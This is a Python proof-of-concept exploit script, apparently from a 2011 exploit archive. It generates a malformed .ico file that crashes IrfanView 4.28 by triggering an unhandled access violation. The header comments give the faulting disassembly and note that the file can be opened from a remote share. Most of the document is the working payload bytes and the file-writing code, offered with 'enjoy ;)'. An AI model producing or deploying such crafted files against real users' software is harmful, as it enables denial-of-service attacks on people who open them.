# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2011.04.07
# published: 2011.04.10
# tested on: Windows XP SP3 Home Edition
# tested on: Windows XP SP3 Professional
# App: IrfanView 4.28
# App Url: http://www.irfanview.com
# i_view32.exe MD5: c6d9383c4119a59aad70dbc4a974b8b4
# DoS is caused by not handled Access Violation Exception in module i_view32.exe
# It can be triggered from:
# Local: C:\Without Transparent Colour - DoS.ico
# Remote: \\MySecretServer\Without Transparent Colour - DoS.ico
# 004162D0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
# 004162D4 B2 80 MOV DL,80
# 004162D6 8AC8 MOV CL,AL
# 004162D8 53 PUSH EBX
# 004162D9 80E1 07 AND CL,7
# 004162DC D2EA SHR DL,CL
# 004162DE 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]
# 004162E2 C1E8 03 SHR EAX,3
# 004162E5 8A1C08 MOV BL,BYTE PTR DS:[EAX+ECX] ; Invalid address -> Access Violation when reading
# 004162E8 22D3 AND DL,BL
# 004162EA 5B POP EBX
# 004162EB F6DA NEG DL
# 004162ED 1BD2 SBB EDX,EDX
# 004162EF F7DA NEG EDX
# 004162F1 8BC2 MOV EAX,EDX
# 004162F3 C3 RETN
filepath = "C:\\Without Transparent Colour - DoS.ico"
f = open(filepath, "wb")
poc = '\x00\x00\x01\x00\x01\x00\x0B\x0D\x00\x00\x01\x00\x18\x00\x30\x02\x00\x00\x16\x00\x00\x00\x28\x00\x00\x00\xFF\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1E\x17\x14\x1C\x23\x14\x1C\x23\x14\x2D\x26\x16\x1C\x23\x14\x1C\x23\x14\x1C\x23\x14\x35\x27\x24\x36\x33\x35\x2C\x33\x4B\x2C\x33\x4B\x00\x00\x00\x1C\x23\x14\x1C\x23\x14\x1C\x23\x14\x1C\x23\x14\x1C\x23\x14\x3F\x39\x48\x48\x54\x67\x33\x29\x34\x36\x33\x35\x2C\x33\x4B\x44\x46\x65\x00\x00\x00\x36\x33\x35\x56\x58\x76\x64\x67\x87\x35\x44\x4D\x1E\x17\x14\x64\x67\x87\x65\x78\x96\x35\x27\x24\x36\x33\x35\x2C\x33\x4B\x48\x54\x67\x00\x00\x00\x27\x34\x33\x65\x78\x96\x65\x78\x96\x48\x54\x67\x56\x55\x67\x77\x76\x98\x44\x44\x56\x25\x24\x24\x3F\x39\x48\x44\x44\x56\x48\x54\x67\x00\x00\x00\x44\x44\x56\x44\x46\x65\x36\x33\x35\x67\x66\x77\x65\x59\x90\x67\x66\x99\x56\x55\x67\x25\x24\x24\x3F\x39\x48\x44\x44\x56\x44\x46\x65\x00\x00\x00\x77\x69\xCA\x56\x58\x76\x44\x35\x2F\x77\x76\x98\x76\x6B\x98\x77\x76\x98\x34\x46\x2E\x25\x26\x37\x2C\x33\x4B\x3F\x39\x48\x48\x54\x67\x00\x00\x00\x65\x59\x90\x44\x44\x56\x55\x49\x65\x51\x47\x46\x55\x56\x58\x34\x46\x2E\x36\x33\x35\x36\x33\x35\x2C\x33\x4B\x2C\x33\x4B\x47\x56\x76\x00\x00\x00\x75\x69\x88\x55\x49\x65\x52\x55\x8B\x46\x43\x44\x36\x33\x35\x44\x44\x56\x44\x44\x56\x3F\x39\x48\x3F\x39\x48\x3F\x39\x48\x56\x58\x76\x00\x00\x00\x67\x66\x77\x44\x44\x56\x55\x49\x65\x55\x49\x65\x56\x58\x76\x65\x59\x90\x55\x49\x65\x3F\x39\x48\x33\x29\x34\x3F\x39\x48\x56\x58\x76\x00\x00\x00\x55\x49\x65\x55\x49\x65\x55\x49\x65\x65\x59\x90\x67\x66\x99\x65\x59\x90\x55\x49\x65\x3F\x39\x48\x33\x29\x34\x44\x44\x56\x64\x67\x87\x00\x00\x00\x4F\x49\x56\x55\x49\x65\x55\x49\x65\x56\x55\x67\x65\x59\x70\x64\x67\x87\x56\x58\x76\x3F\x39\x48\x2C\x33\x4B\x44\x46\x65\x54\x69\x8C\x00\x00\x00\x55\x49\x65\x55\x49\x65\x55\x49\x65\x55\x49\x65\x65\x59\x90\x65\x59\x90\x55\x49\x7A\x3F\x39\x48\x3F\x39\x48\x56\x58\x76\x65\x78\x96\x00\x00\x00\x65\x59\x90\x56\x58\x76\x52\x55\x8B\x65\x59\x90\x6C\x58\xB0\x67\x66\x99\x52\x55\x8B\x3F\x39\x48\x2C\x33\x4B\x56\x58\x76\x77\x8F\xAB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
f.write(poc)
f.close()
print "Done, 1 file generated on 'C:\\' ..."
print "Open this file in IrfanView 4.28 and enjoy ;)"
